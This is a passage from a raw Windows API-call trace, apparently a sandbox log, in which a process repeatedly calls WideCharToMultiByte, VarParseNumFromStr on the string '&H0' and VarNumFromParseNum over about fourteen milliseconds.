dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0062.199] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0062.199] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0062.199] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.199] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.200] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0062.200] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0062.200] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0062.200] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.200] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.200] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0062.200] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0062.200] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0062.200] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.200] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.200] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0062.201] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0062.201] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0062.201] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.201] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.201] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0062.201] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0062.201] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0062.201] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.201] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.201] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0062.202] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0062.202] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0062.202] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.202] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.202] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0062.202] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0062.202] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0062.202] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.202] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.202] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0062.203] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0062.203] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0062.203] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.203] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.203] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0062.203] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0062.203] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0062.203] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.203] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.203] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0062.204] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0062.204] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0062.204] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.204] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.204] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0062.204] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0062.204] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0062.204] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.204] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.204] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0062.204] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0062.205] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0062.205] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.205] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.205] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0062.205] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0062.205] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0062.205] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.205] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.205] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0062.205] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0062.205] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0062.206] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.206] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.208] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0062.209] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0062.209] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0062.209] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.209] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.209] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0062.209] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0062.209] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0062.209] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.209] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.209] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0062.210] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0062.210] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0062.210] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.210] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.210] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0062.210] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0062.210] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0062.210] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.210] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.210] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0062.210] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0062.211] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0062.211] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.211] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.211] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0062.211] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0062.211] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0062.211] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.211] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.211] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0062.211] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0062.211] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0062.212] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.212] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.212] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0062.212] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0062.212] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0062.212] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.212] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.212] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0062.212] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0062.212] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0062.213] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.213] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.213] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0062.213] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 